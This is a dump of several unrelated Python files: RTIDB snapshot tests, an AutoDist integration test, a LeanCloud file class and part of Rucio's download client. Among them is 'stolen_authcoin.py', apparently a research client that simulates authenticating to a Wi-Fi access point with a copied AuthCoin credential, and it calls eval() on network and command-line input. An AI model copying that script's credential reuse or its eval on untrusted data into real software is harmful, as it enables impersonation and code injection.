self.sendsnapshot(self.leader, self.tid, self.pid, self.slave1))', 12: 'self.assertIn("MakeSnapshot ok", self.makesnapshot(self.leader, self.tid, self.pid))', 13: 'self.assertIn("PauseSnapshot ok", self.pausesnapshot(self.leader, self.tid, self.pid))', 14: 'self.assertIn("RecoverSnapshot ok", self.recoversnapshot(self.leader, self.tid, self.pid))', 15: 'self.assertIn("SendSnapshot ok", self.sendsnapshot(self.leader, self.tid, self.pid, self.slave1))', 16: 'self.assertIn("LoadTable ok", self.loadtable(self.slave1, self.tname, self.tid, self.pid))', 17: 'self.check_manifest(self.slave1path, self.tid, self.pid, "100", self.sdb_name, "50")', 18: 'self.check_manifest(self.slave1path, self.tid, self.pid, "200", self.sdb_name, "100")', 19: 'self.assertEqual("100", self.get_table_status(self.slave1, self.tid, self.pid)[0])', 20: 'self.assertEqual("200", self.get_table_status(self.slave1, self.tid, self.pid)[0])', 21: 'self.assert_send_fail_by_log()', 22: 'self.check_manifest(self.slave2path, self.tid, self.pid, "100", self.sdb_name, "100")', 23: 'self.assertEqual(len(filter(lambda x:"SendSnapshot ok" in x,' 'self.sendsnapshot_concurrently(self.leader, self.tid, self.pid, self.slave1, self.slave2))), 2)', 24: 'self.assertEqual(len(filter(lambda x:"SendSnapshot ok" in x,' 'self.sendsnapshot_concurrently(self.leader, self.tid, self.pid,' 'self.slave1, self.slave1, self.slave1, self.slave1, self.slave1))), 1)', 25: 'self.assert_init_fail_by_log()', 100: 'None' } def test_sendsnapshot_normal_0(self): """ ๆต‹่ฏ•ๅ‰ๅ‡†ๅค‡๏ผštest_sendsnapshot_normalๆ‰ง่กŒไน‹ๅ‰ๆ”นๆˆไธ้™้€Ÿๅนถ้‡ๅฏ :return: """ self.update_conf(self.leaderpath, 'stream_bandwidth_limit', 0) self.stop_client(self.leader) time.sleep(5) self.assertTrue(self.start_client(self.leader)[0]) @ddt.data( (1, 2, 12, 13, 15, 14, -1, 3, 4, 17, 2, 12, 13, 15, 14, 18, 16, 20), # ไธป่กจๅฏไปฅๅคšๆฌกsendsnapshot็ป™ๆ–ฐ็š„็›ฎๆ ‡่Š‚็‚น (11, 100), # ่กจไธๅญ˜ๅœจไธ่ƒฝsendsnapshot (1, 2, 11), # ไธป่กจๆฒกๆœ‰็”Ÿๆˆsnapshot๏ผŒไธๅฏไปฅsendsnapshot็ป™็›ฎๆ ‡่Š‚็‚น (1, 2, 12, 11), # ไธป่กจๆฒกๆœ‰pausesnapshot๏ผŒไธๅฏไปฅsendsnapshot็ป™็›ฎๆ ‡่Š‚็‚น (1, 2, 5, 12, 13, 11), # ็›ฎๆ ‡ไปŽ่กจไธ่ƒฝๆ‰ง่กŒsendsnapshotๅ‘ฝไปค (1, 0, 2, 12, 13, 0, 15, -2, 21), # ็›ฎๆ ‡ไปŽ่กจๅญ˜ๅœจๆ—ถ๏ผŒไธป่กจsendsnapshotๅคฑ่ดฅ (1, 2, 12, 13, 15, 10, -2, 21), # ไธป่กจsendsnapshot็ป™ไธๅญ˜ๅœจ็š„็›ฎๆ ‡endpoint๏ผŒๅคฑ่ดฅ (1, 2, 12, 13, 15, 9, -2, 25), # ไธป่กจsendsnapshot็ป™ไธๅญ˜ๅœจ็š„็›ฎๆ ‡endpoint๏ผŒๅคฑ่ดฅ (1, 2, 12, 13, 23, -1, 3, 4, 17, 22), # ๅนถๅ‘sendsnapshot็ป™ไธคไธชไปŽ่Š‚็‚น๏ผŒๆˆๅŠŸ (1, 2, 12, 13, 24, -1, 3, 4, 17), # ๅŒไธ€ไธชsnapshot๏ผŒๅนถๅ‘sendsnapshot็ป™ๅŒไธ€ไธชไปŽ่Š‚็‚น๏ผŒๅชๆœ‰1ไธชๆˆๅŠŸ ) @ddt.unpack def test_sendsnapshot_normal(self, *steps): """ ๅ„็งๆƒ…ๅ†ตไธ‹sendsnapshotๅŠŸ่ƒฝๆฃ€ๆŸฅ :param steps: :return: """ self.tname = str(self.now()) steps_dict = self.get_steps_dict() for i in steps: infoLogger.info('*' * 10 + ' Executing step {}: {}'.format(i, steps_dict[i])) eval(steps_dict[i]) def test_sendsnapshot_normal_z(self): """ ๆต‹่ฏ•ๅฎŒๆˆๅŽ๏ผštest_sendsnapshot_normalๆ‰ง่กŒไน‹ๅŽ่ฟ˜ๅŽŸ้…็ฝฎๅนถ้‡ๅฏ :return: """ self.update_conf(self.leaderpath, 'stream_bandwidth_limit', None) self.stop_client(self.leader) time.sleep(5) self.start_client(self.leader) def test_sendsnapshot_multi_to_one(self): """ ๅฐ†1ไธชsnapshotๅŒๆ—ถๅนถๅ‘ๅœฐๅ‘็ป™ๅŒ1ไธชไปŽ่Š‚็‚น๏ผŒๅชๆœ‰1ๆฌกๅฏไปฅๆˆๅŠŸ :return: """ self.tname = str(self.now()) tid_list = [self.tid + x for x in range(5)] for t in tid_list: self.create(self.leader, self.tname, t, self.pid, 144000, 2, "true") self.put_data(self.leader, t, self.pid, 100) self.makesnapshot(self.leader, t, self.pid) self.pausesnapshot(self.leader, t, self.pid) self.recieve_snapshot_concurrently(self.leader, tid_list, self.pid, self.slave1) time.sleep(5) for t in tid_list: self.check_manifest(self.slave1path, t, self.pid, "100", self.get_sdb_name(t, self.pid), "100") def test_sendsnapshot_send_recieve_concurrently(self): """ ๆ”ถๅ‘ๅนถ่กŒ :return: """ pid = self.pid self.tname = str(self.now()) tid_list_1 = [x for x in range(10, 19, 2)] tid_list_2 = [x for x in range(11, 20, 2)] for t in tid_list_1 + tid_list_2: if t % 2 == 0: edp = self.leader else: edp = self.slave1 self.create(edp, self.tname, t, pid, 144000, 2, "true") self.put_data(edp, t, pid, t) self.makesnapshot(edp, t, pid, 'client', 1) self.pausesnapshot(edp, t, pid) self.send_and_recieve_concurrently(self.leader, tid_list_1, self.slave1, tid_list_2, pid) time.sleep(5) for t in tid_list_1: self.check_manifest(self.slave1path, t, pid, str(t), self.get_sdb_name(t, pid), str(t)) for t in tid_list_2: self.check_manifest(self.leaderpath, t, pid, str(t), self.get_sdb_name(t, pid), str(t)) def test_sendsnapshot_speed_limit(self): # RTIDB-227 """ ้™้€Ÿๆต‹่ฏ•๏ผŒstream_bandwidth_limit = 1024, 10kๅทฆๅณๆ–‡ไปถไผšๅœจ8s-12sไน‹้—ดๅ‘้€ๆˆๅŠŸ :return: """ offset = str(120) self.update_conf(self.leaderpath, 'stream_block_size', 32) self.update_conf(self.leaderpath, 'stream_bandwidth_limit', 1024) self.stop_client(self.leader) time.sleep(5) self.start_client(self.leader) tname = self.now() self.create(self.leader, tname, self.tid, self.pid, 144000, 2, "true") self.put_data(self.leader, self.tid, self.pid, offset) self.assertIn("MakeSnapshot ok", self.makesnapshot(self.leader, self.tid, self.pid)) self.assertIn("PauseSnapshot ok", self.pausesnapshot(self.leader, self.tid, self.pid)) self.assertIn("SendSnapshot ok", self.sendsnapshot(self.leader, self.tid, self.pid, self.slave1)) time.sleep(1) check_manifest_sent0 = self.check_manifest( self.slave1path, self.tid, self.pid, offset, self.get_sdb_name(self.tid, self.pid), offset) \ and self.get_sdb_name(self.tid, self.pid).endswith('sdb') time.sleep(7) check_manifest_sent1 = self.check_manifest( self.slave1path, self.tid, self.pid, offset, self.get_sdb_name(self.tid, self.pid), offset) \ and self.get_sdb_name(self.tid, self.pid).endswith('sdb') time.sleep(4) infoLogger.info(self.get_sdb_name(self.tid, self.pid).endswith('sdb')) check_manifest_sent = self.check_manifest( self.slave1path, self.tid, self.pid, offset, self.get_sdb_name(self.tid, self.pid), offset) \ and self.get_sdb_name(self.tid, self.pid).endswith('sdb') # Teardown self.update_conf(self.leaderpath, 'stream_block_size', None) self.update_conf(self.leaderpath, 'stream_bandwidth_limit', None) self.stop_client(self.leader) time.sleep(5) self.start_client(self.leader) self.assertFalse(check_manifest_sent0) # files sending because of stream_bandwidth_limit self.assertFalse(check_manifest_sent1) # files sending because of stream_bandwidth_limit self.assertTrue(check_manifest_sent) def test_sendsnapshot_speed_without_limit(self): """ ้™้€Ÿๆต‹่ฏ•๏ผŒstream_bandwidth_limit = 0๏ผŒ10kๅทฆๅณๆ–‡ไปถไผš็ซ‹ๅณๅ‘้€ๆˆๅŠŸ :return: """ self.update_conf(self.leaderpath, 'stream_bandwidth_limit', 0) self.stop_client(self.leader) time.sleep(5) self.start_client(self.leader) tname = self.now() self.create(self.leader, tname, self.tid, self.pid, 144000, 2, "true") self.put_data(self.leader, self.tid, self.pid, 100) self.assertIn("MakeSnapshot ok", self.makesnapshot(self.leader, self.tid, self.pid)) self.assertIn("PauseSnapshot ok", self.pausesnapshot(self.leader, self.tid, self.pid)) self.assertIn("SendSnapshot ok", self.sendsnapshot(self.leader, self.tid, self.pid, self.slave1)) time.sleep(1) self.check_manifest(self.slave1path, self.tid, self.pid, '100', self.get_sdb_name(self.tid, self.pid), '100') # Teardown self.update_conf(self.leaderpath, 'stream_bandwidth_limit', None) self.stop_client(self.leader) time.sleep(1) self.start_client(self.leader) time.sleep(10) if __name__ == "__main__": load(TestSendSnapshot)
test_all.py
import atexit import itertools import os from multiprocessing import Process import pytest from autodist import AutoDist from autodist.strategy.all_reduce_strategy import AllReduce from autodist.strategy.parallax_strategy import Parallax from autodist.strategy.partitioned_ps_strategy import PartitionedPS from autodist.strategy.ps_lb_strategy import PSLoadBalancing from autodist.strategy.ps_strategy import PS from autodist.strategy.partitioned_all_reduce_strategy import PartitionedAR from autodist.strategy.uneven_partition_ps_strategy import UnevenPartitionedPS from autodist.strategy.random_axis_partition_all_reduce_strategy import RandomAxisPartitionAR from .cases import c0, c1, c2, c3, c4, c5, c6, c7, c8 cases = [ c0, # TensorFlow basics + placeholder c1, # Keras + iterator c2, # TensorFlow sparse basics + iterator c3, # Keras + placeholder c4, # Control flow while_loop c5, # Keras + numpy input c6, # Dynamic LSTM while loop and other ops c7, # Keras Model.fit & Model.evaluate # c8, # Keras Model building with mixed TF native ops ] resource_specs = [ os.path.join(os.path.dirname(__file__), 'resource_specs/r0.yml'), # single node with 2 GPUs os.path.join(os.path.dirname(__file__), 'resource_specs/r2.yml') # single node with 1 GPU ] strategies = [ PS(), PartitionedPS(local_proxy_variable=True), AllReduce(chunk_size=1, all_reduce_spec='NCCL', compressor='NoneCompressor'), AllReduce(chunk_size=1, all_reduce_spec='NCCL', compressor='HorovodCompressor'), AllReduce(chunk_size=1, all_reduce_spec='RING', compressor='HorovodCompressorEF'), PSLoadBalancing(local_proxy_variable=True), Parallax(local_proxy_variable=True), PartitionedAR(), UnevenPartitionedPS(local_proxy_variable=True), RandomAxisPartitionAR(chunk_size=4) ] @pytest.mark.integration def test_all(): combinations = itertools.product(resource_specs, strategies) for r, s in combinations: for c in cases: def run(): """This wrapper will handle the AutoDist destructor and garbage collections.""" try: atexit._clear() # TensorFlow also uses atexit, but running its exitfuncs cause some issues a = AutoDist(resource_spec_file=r, strategy_builder=s) # Fixtures in the future c.main(a) except Exception: raise finally: atexit._run_exitfuncs() p = Process(target=run) p.start() p.join() if p.exitcode != 0: raise SystemExit(f"FAILED running case {c} with resourcespec {r} and strategy {s}")
stolen_authcoin.py
############# options setting #################### import sys, getopt, os from get_host_ip import get_host_ip from validate_port import validate_port opts, args = getopt.getopt(sys.argv[1:], 'hp:s:k:') socket_host = '' socket_port = 4000 server_host = None server_port = None EXCEPTION = False port = None for op, value in opts: if op == '-p': server_port = eval(value) elif op == '-s': server_host = value elif op == '-k': socket_host = value elif op == '-h': print('Usage:\n\tpython client4STA.py -s server_host -p server_port -k socket_host') sys.exit() else: print('Unknown parameter(s).') sys.exit() if not server_port: print('Please set server port. Use -h for help.') sys.exit() if server_host == '': print('Please set server host. Use -h for help.') sys.exit() if socket_host == '': print('Please set socket host. Use -h for help.') sys.exit() print('Socket connects at {host}:{port}...'.format(host=socket_host, port=str(socket_port))) ################## options setting ####################### ################### BEGIN SOKCET ######################### import socket,select,sys,threading,time s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((socket_host,socket_port)) s.setblocking(0) REGISTERED = False wallet = None AUTHCOIN_RECEIVED = False def validate_tx(): import requests transactions = requests.get('http://{host}:{port}/transactions/current'.format(host=server_host, port=server_port)).text transactions = json.loads(transactions)['current_transactions'] for tx in transactions: if tx['sender'] == wallet.pub_file: return True return False def handle_recv(msg_recv): global AUTHCOIN_RECEIVED, EXCEPTION msg_encoded = msg_recv.encode() dic_data = json.loads(msg_encoded) if 'success_message' in dic_data: #Todo connect and check if TX is broadcasted print('Connect Successfully!') valid = validate_tx() if not valid: #Disconnect return wallet.auth_coin = None return elif 'fail_message' in dic_data: return if 'auth_coin' in dic_data: #Todo store AuthCoin print('AuthCoin Existed') return signature = wallet.privkey.sign(SHA256.new(msg_encoded).digest(), '') if not wallet.auth_coin: print('No AUTHCOIN NOW: TODO') data = {} data['raw'] = json.loads(msg_recv) data['signature'] = signature data['auth_coin'] = wallet.auth_coin auth_coin_enc = wallet.auth_coin['auth_coin'] json_auth_coin = json.loads(auth_coin_enc) auth_coin = b'' for i in range(len(json_auth_coin)): auth_coin += wallet.privkey.decrypt(eval(json_auth_coin[str(i)])) auth_coin += b'}' try: auth_coin = json.loads(auth_coin.decode()) except: EXCEPTION = True print('Decrypt fail!') sys.exit() data['id'] = auth_coin['id'] speak(json.dumps(data).encode()) def speak(msg): global s s.send(msg) def start_read(): global s while 1: rlist = [s] # Get the list sockets which are readable read_list, write_list, error_list = select.select(rlist , [], []) for sock in read_list: #incoming message from remote server if sock == s: data = sock.recv(9999) astr = data.decode() if astr != "": handle_recv(astr) time.sleep(0.1) t = threading.Thread(target=start_read) t.start() def close_sock(s): s.close() ############## END SOCKET ##################### from Crypto.PublicKey import RSA from Crypto.Hash import SHA256 from Crypto import Random import hashlib import base58 import uuid import json server_public_key = None with open('SERVER_PUBLIC', 'r') as f: server_pub_file = f.read() server_public_key = RSA.importKey(server_pub_file) f.close() class AuthWallet(object): def __init__(self, info, empty=False): self.auth_coin = None if empty: self.privkey, self.pubkey, self.private_key, self.public_key, self.pub_file = None, None, None, None, None self.address = None self.info = None return self.privkey, self.pubkey, self.private_key, self.public_key, self.pub_file = self.generate_keys() self.address = self.generate_address(self.public_key) self.info = info # { # 'MAC': , # 'Username': , # 'Email': , # 'Tel': , # 'Message': , # ... # } @staticmethod def generate_keys(): random_generator = Random.new().read privkey = RSA.generate(1024, random_generator) pubkey = privkey.publickey() with open('PRIVATE', 'wb') as f: f.write(privkey.exportKey()) f.close() with open('PUBLIC', 'wb') as f: f.write(pubkey.exportKey()) f.close() f = open('PRIVATE', 'r') priv_file = f.read() priv = priv_file.split('\n') priv.remove('-----BEGIN RSA PRIVATE KEY-----') priv.remove('-----END RSA PRIVATE KEY-----') private_key = ''.join(priv) f.close() f = open('PUBLIC', 'r') pub_file = f.read() pub = pub_file.split('\n') pub.remove('-----BEGIN PUBLIC KEY-----') pub.remove('-----END PUBLIC KEY-----') public_key = ''.join(pub) f.close() return privkey, pubkey, private_key, public_key, pub_file @staticmethod def generate_address(public_key): public_key_bi = public_key.encode() addr_sha256 = hashlib.sha256(public_key_bi).digest() h = hashlib.new('ripemd160') h.update(addr_sha256) head_added = b'0' + h.digest() tail = hashlib.sha256(hashlib.sha256(head_added).digest()).digest()[:4] address = base58.b58encode(head_added + tail) with open('ADDRESS', 'w') as f: f.write(address) f.close() return address def get_mac_address(): mac=uuid.UUID(int = uuid.getnode()).hex[-12:] return ":".join([mac[e:e+2] for e in range(0,11,2)]) def register(): global wallet MAC = get_mac_address() print('Fill your information...') print('(optional, press <Enter> to skip)') username = input('Username: ') email = input('Email: ') tel = input('Tel: ') message = input('Message: ') info = { 'MAC': MAC, 'Username': username, 'Email': email, 'Tel': tel, 'Message': message, } wallet = AuthWallet(info=info) with open('AUTHCOIN', 'r') as ac_f: auth_coin = ac_f.read() wallet.auth_coin = eval(auth_coin) ac_f.close() import os files = os.listdir(os.getcwd()) if 'AUTHCOIN' in files: print('==============STA REGISTER=================') register() print('===========STA REGISTRATION FINISH=========') REGISTERED = True else: print('No AuthCoin') while not REGISTERED: time.sleep(3) time.sleep(1) while True: confirm_connect = input('Do you want to connect?(y/N)\n') if confirm_connect == 'y': message = wallet.pub_file.encode() #connect to AP and notifies AP public speak(message) break else: print('System will ask for connection every five seconds...') time.sleep(5) import atexit def exit_handler(): global AUTHCOIN_RECEIVED, EXCEPTION, s AUTHCOIN_RECEIVED = False speak('Disconnect Request'.encode()) print('Waiting for AuthCoin...') while not AUTHCOIN_RECEIVED: if EXCEPTION: print('Exception occurred.') break time.sleep(1) s.close() print('Disconnected. Goodbye!') atexit.register(exit_handler)
file_.py
# coding: utf-8 from __future__ import absolute_import from __future__ import division from __future__ import print_function import os import re import io import hashlib import uuid import logging import warnings import threading import requests import leancloud from leancloud import client from leancloud import utils from leancloud._compat import PY2 from leancloud._compat import string_types from leancloud._compat import file_type from leancloud._compat import buffer_type from leancloud.errors import LeanCloudError from leancloud.errors import LeanCloudWarning __author__ = 'asaka <lan@leancloud.rocks>' logger = logging.getLogger(__name__) class File(object): _class_name = '_File' # walks like a leancloud.Object def __init__(self, name='', data=None, mime_type=None, type_=None): self._name = name self.id = None self._url = None self._acl = None self.current_user = leancloud.User.get_current() self._metadata = { 'owner': 'unknown' } if self.current_user and self.current_user != None: # NOQA: self.current_user may be a thread_local object self._metadata['owner'] = self.current_user.id if type_ is not None: warnings.warn(LeanCloudWarning('optional param `type_` is deprecated, please use `mime_type` instead')) mime_type = type_ pattern = re.compile('\.([^.]*)$') extension = pattern.findall(name) if extension: self.extension = extension[0].lower() else: self.extension = '' self._mime_type = mime_type if data is None: self._source = None elif isinstance(data, io.BytesIO): self._source = data elif isinstance(data, file_type): data.seek(0, os.SEEK_SET) self._source = io.BytesIO(data.read()) elif isinstance(data, buffer_type): self._source = io.BytesIO(data) elif PY2: import cStringIO import StringIO if isinstance(data, (cStringIO.OutputType, StringIO.StringIO)): data.seek(0, os.SEEK_SET) self._source = io.BytesIO(data.getvalue()) else: raise TypeError('data must be a StringIO / buffer / file instance') else: raise TypeError('data must be a StringIO / buffer / file instance') if self._source: self._source.seek(0, os.SEEK_END) self._metadata['size'] = self._source.tell() self._source.seek(0, os.SEEK_SET) checksum = hashlib.md5() checksum.update(self._source.getvalue()) self._metadata['_checksum'] = checksum.hexdigest() @utils.classproperty def query(cls): return leancloud.Query(cls) @classmethod def create_with_url(cls, name, url, meta_data=None, mime_type=None, type_=None): if type_ is not None: warnings.warn('optional param `type_` is deprecated, please use `mime_type` instead') mime_type = type_ f = File(name, None, mime_type) if meta_data: f._metadata.update(meta_data) if isinstance(url, string_types): f._url = url else: raise ValueError('url must be a str / unicode') f._metadata['__source'] = 'external' return f @classmethod def create_without_data(cls, object_id): f = File('') f.id = object_id return f def get_acl(self): return self._acl def set_acl(self, acl): if not isinstance(acl, leancloud.ACL): raise TypeError('acl must be a leancloud.ACL instance') self._acl = acl @property def name(self): return self._name @property def url(self): return self._url @property def mime_type(self): return self._mime_type @mime_type.setter def set_mime_type(self, mime_type): self._mime_type = mime_type @property def size(self): return self._metadata['size'] @property def owner_id(self): return self._metadata['owner'] @property def metadata(self): return self._metadata def get_thumbnail_url(self, width, height, quality=100, scale_to_fit=True, fmt='png'): if not self._url: raise ValueError('invalid url') if width < 0 or height < 0: raise ValueError('invalid height or width params') if quality > 100 or quality <= 0: raise ValueError('quality must between 0 and 100') mode = 2 if scale_to_fit else 1 return self.url + '?imageView/{0}/w/{1}/h/{2}/q/{3}/format/{4}'.format(mode, width, height, quality, fmt) def destroy(self): if not self.id: return False response = client.delete('/files/{0}'.format(self.id)) if response.status_code != 200: raise LeanCloudError(1, "the file is not sucessfully destroyed") def _save_to_qiniu(self, token, key): import qiniu self._source.seek(0) ret, info = qiniu.put_data(token, key, self._source) self._source.seek(0) if info.status_code != 200: self._save_callback(token, False) raise LeanCloudError(1, 'the file is not saved, qiniu status code: {0}'.format(info.status_code)) self._save_callback(token, True) def _save_to_s3(self, token, upload_url): self._source.seek(0) response = requests.put(upload_url, data=self._source.getvalue(), headers={'Content-Type': self.mime_type}) if response.status_code != 200: self._save_callback(token, False) raise LeanCloudError(1, 'The file is not successfully saved to S3') self._source.seek(0) self._save_callback(token, True) def _save_external(self): data = { 'name': self._name, 'ACL': self._acl, 'metaData': self._metadata, 'mime_type': self.mime_type, 'url': self._url, } response = client.post('/files/{0}'.format(self._name), data) content = response.json() self._name = content['name'] self._url = content['url'] self.id = content['objectId'] if 'size' in content: self._metadata['size'] = content['size'] else: raise ValueError def _save_to_qcloud(self, token, upload_url): headers = { 'Authorization': token, } self._source.seek(0) data = { 'op': 'upload', 'filecontent': self._source.read(), } response = requests.post(upload_url, headers=headers, files=data) self._source.seek(0) info = response.json() if info['code'] != 0: self._save_callback(token, False) raise LeanCloudError(1, 'this file is not saved, qcloud cos status code: {}'.format(info['code'])) self._save_callback(token, True) def _save_callback(self, token, successed): if not token: return def f(): try: client.post('/fileCallback', { 'token': token, 'result': successed, }) except LeanCloudError as e: logger.warning('call file callback failed, error: %s', e) threading.Thread(target=f).start() def save(self): if self._url and self.metadata.get('__source') == 'external': self._save_external() elif not self._source: pass else: content = self._get_file_token() self._mime_type = content['mime_type'] if content['provider'] == 'qiniu': self._save_to_qiniu(content['token'], content['key']) elif content['provider'] == 'qcloud': self._save_to_qcloud(content['token'], content['upload_url']) elif content['provider'] == 's3': self._save_to_s3(content.get('token'), content['upload_url']) else: raise RuntimeError('The provider field in the fetched content is empty') self._update_data(content) def _update_data(self, server_data): if 'objectId' in server_data: self.id = server_data.get('objectId') if 'name' in server_data: self._name = server_data.get('name') if 'url' in server_data: self._url = server_data.get('url') if 'mime_type' in server_data: self._mime_type = server_data['mime_type'] if 'metaData' in server_data: self._metadata = server_data.get('metaData') def _get_file_token(self): key = uuid.uuid4().hex if self.extension: key = '{0}.{1}'.format(key, self.extension) data = { 'name': self._name, 'key': key, 'ACL': self._acl, 'mime_type': self.mime_type, 'metaData': self._metadata, } response = client.post('/fileTokens', data) content = response.json() self.id = content['objectId'] self._url = content['url'] content['key'] = key return content def fetch(self): response = client.get('/files/{0}'.format(self.id)) content = response.json() self._update_data(content)
downloadclient.py
# Copyright 2018 CERN for the benefit of the ATLAS collaboration. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # Authors: # - Tomas Javurek <tomasjavurek09@gmail.com>, 2018 # - Vincent Garonne <vgaronne@gmail.com>, 2018 # - Joaquin Bogado <jbogado@linti.unlp.edu.ar>, 2018 # - Nicolo Magini <nicolo.magini@cern.ch>, 2018-2019 # - Tobias Wegner <tobias.wegner@cern.ch>, 2018-2019 # - Hannes Hansen <hannes.jakob.hansen@cern.ch>, 2018-2019 # - Martin Barisits <martin.barisits@cern.ch>, 2019 # # PY3K COMPATIBLE from __future__ import division import copy import logging import os import random import shutil import signal import time try: from Queue import Queue, Empty, deque except ImportError: from queue import Queue, Empty, deque from threading import Thread from rucio.client.client import Client from rucio.common.exception import (InputValidationError, NoFilesDownloaded, NotAllFilesDownloaded, RucioException) from rucio.common.didtype import DIDType from rucio.common.pcache import Pcache from rucio.common.utils import adler32, detect_client_location, generate_uuid, parse_replicas_from_string, \ send_trace, sizefmt, execute, parse_replicas_from_file from rucio.common.utils import GLOBALLY_SUPPORTED_CHECKSUMS, CHECKSUM_ALGO_DICT, PREFERRED_CHECKSUM from rucio.rse import rsemanager as rsemgr from rucio import version class BaseExtractionTool: def __init__(self, program_name, useability_check_args, extract_args, logger): """ Initialises a extraction tool object :param program_name: the name of the archive extraction program, e.g., unzip :param useability_check_args: the arguments of the extraction program to test if its installed, e.g., --version :param extract_args: the arguments that will be passed to the program for extraction :param logger: logging.Logger object """ self.program_name = program_name self.useability_check_args = useability_check_args self.extract_args = extract_args self.logger = logger self.is_useable_result = None def is_useable(self): """ Checks if the extraction tool is installed and usable :returns: True if it is usable otherwise False """ if self.is_useable_result is not None: return self.is_useable_result self.is_usable_result = False cmd = '%s %s' % (self.program_name, self.useability_check_args) try: exitcode, out, err = execute(cmd) exitcode = int(exitcode) self.logger.debug('"%s" returned with exitcode %d' % (cmd, exitcode)) self.is_usable_result = (exitcode == 0) except Exception as error: self.logger.debug('Failed to execute: "%s"' % exitcode) self.logger.debug(error) return self.is_usable_result def try_extraction(self, archive_file_path, file_to_extract, dest_dir_path): """ Calls the extraction program to extract a file from an archive :param archive_file_path: path to the archive :param file_to_extract: file name to extract from the archive :param dest_dir_path: destination directory where the extracted file will be stored :returns: True on success otherwise False """ if not self.is_useable(): return False args_map = {'archive_file_path': archive_file_path, 'file_to_extract': file_to_extract, 'dest_dir_path': dest_dir_path} extract_args = self.extract_args % args_map cmd = '%s %s' % (self.program_name, extract_args) try: exitcode, out, err = execute(cmd) exitcode = int(exitcode) self.logger.debug('"%s" returned with exitcode %d' % (cmd, exitcode)) return (exitcode == 0) except Exception as error: self.logger.debug('Failed to execute: "%s"' % exitcode) self.logger.debug(error) return False class DownloadClient: def __init__(self, client=None, logger=None, tracing=True, check_admin=False, check_pcache=False): """ Initialises the basic settings for an DownloadClient object :param client: Optional: rucio.client.client.Client object. If None, a new object will be created. :param external_traces: Optional: reference to a list where traces can be added :param logger: Optional: logging.Logger object to use for downloads. If None nothing will be logged. """ if not logger: logger = logging.getLogger('%s.null' % __name__) logger.disabled = True self.check_pcache = check_pcache self.logger = logger self.tracing = tracing if not self.tracing: logger.debug('Tracing is turned off.') self.is_human_readable = True self.client = client if client else Client() # if token should be used, use only JWT tokens self.auth_token = self.client.auth_token if len(self.client.auth_token.split(".")) == 3 else None self.client_location = detect_client_location() self.is_tape_excluded = True self.is_admin = False if check_admin: account_attributes = list(self.client.list_account_attributes(self.client.account)) for attr in account_attributes[0]: if attr['key'] == 'admin': self.is_admin = attr['value'] is True break if self.is_admin: self.is_tape_excluded = False logger.debug('Admin mode enabled') self.trace_tpl = {} self.trace_tpl['hostname'] = self.client_location['fqdn'] self.trace_tpl['localSite'] = self.client_location['site'] self.trace_tpl['account'] = self.client.account self.trace_tpl['eventType'] = 'download' self.trace_tpl['eventVersion'] = 'api_%s' % version.RUCIO_VERSION[0] self.use_cea_threshold = 10 self.extraction_tools = [] # unzip <archive_file_path> <did_name> -d <dest_dir_path> extract_args = '%(archive_file_path)s %(file_to_extract)s -d %(dest_dir_path)s' self.extraction_tools.append(BaseExtractionTool('unzip', '-v', extract_args, logger)) # tar -C <dest_dir_path> -xf <archive_file_path> <did_name> extract_args = '-C %(dest_dir_path)s -xf %(archive_file_path)s %(file_to_extract)s' self.extraction_tools.append(BaseExtractionTool('tar', '--version', extract_args, logger)) def download_pfns(self, items, num_threads=2, trace_custom_fields={}, traces_copy_out=None): """ Download items with a given PFN. This function can only download files, no datasets. :param items: List of dictionaries. Each dictionary describing a file to download. Keys: pfn - PFN string of this file did - DID string of this file (e.g. 'scope:file.name'). Wildcards are not allowed rse - rse name (e.g. 'CERN-PROD_DATADISK'). RSE Expressions are not allowed base_dir - Optional: Base directory where the downloaded files will be stored. (Default: '.') no_subdir - Optional: If true, files are written directly into base_dir and existing files are overwritten. (Default: False) adler32 - Optional: The adler32 checmsum to compare the downloaded files adler32 checksum with md5 - Optional: The md5 checksum to compare the downloaded files md5 checksum with transfer_timeout - Optional: Timeout time for the download protocols. (Default: None) :param num_threads: Suggestion of number of threads to use for the download. It will be lowered if it's too high. :param trace_custom_fields: Custom key value pairs to send with the traces :param traces_copy_out: reference to an external list, where the traces should be uploaded :returns: a list of dictionaries with an entry for each file, containing the input options, the did, and the clientState clientState can be one of the following: ALREADY_DONE, DONE, FILE_NOT_FOUND, FAIL_VALIDATE, FAILED :raises InputValidationError: if one of the input items is in the wrong format :raises NoFilesDownloaded: if no files could be downloaded :raises NotAllFilesDownloaded: if not all files could be downloaded :raises RucioException: if something unexpected went wrong during the download """ logger = self.logger trace_custom_fields['uuid'] = generate_uuid() logger.info('Processing %d item(s) for input' % len(items)) input_items = [] for item in items: did_str = item.get('did') pfn = item.get('pfn') rse = item.get('rse') if not did_str or not pfn or not rse: logger.debug(item) raise InputValidationError('The keys did, pfn, and rse are mandatory') logger.debug('Preparing PFN download of %s (%s) from %s' % (did_str, pfn, rse)) if '*' in did_str: logger.debug(did_str) raise InputValidationError('Cannot use PFN download with wildcard in DID') did_scope, did_name = self._split_did_str(did_str) dest_dir_path = self._prepare_dest_dir(item.get('base_dir', '.'), did_scope, did_name, item.get('no_subdir')) item['scope'] = did_scope item['name'] = did_name item['sources'] = [{'pfn': pfn, 'rse': rse}] dest_file_path = os.path.join(dest_dir_path, did_name) item['dest_file_paths'] = [dest_file_path] item['temp_file_path'] = '%s.part' % dest_file_path options = item.setdefault('merged_options', {}) options['ignore_checksum'] = 'adler32' not in item and 'md5' not in item options.setdefault('transfer_timeout', item.pop('transfer_timeout', None)) input_items.append(item) num_files_in = len(input_items) output_items = self._download_multithreaded(input_items, num_threads, trace_custom_fields, traces_copy_out) num_files_out = len(output_items) if num_files_in != num_files_out: raise RucioException('%d items were in the input queue but only %d are in the output queue' % (num_files_in, num_files_out)) return self._check_output(output_items) def download_dids(self, items, num_threads=2, trace_custom_fields={}, traces_copy_out=None): """ Download items with given DIDs. This function can also download datasets and wildcarded DIDs. :param items: List of dictionaries. Each dictionary describing an item to download. Keys: did - DID string of this file (e.g. 'scope:file.name') filters - Filter to select DIDs for download. Optional if DID is given rse - Optional: rse name (e.g. 'CERN-PROD_DATADISK') or rse expression from where to download 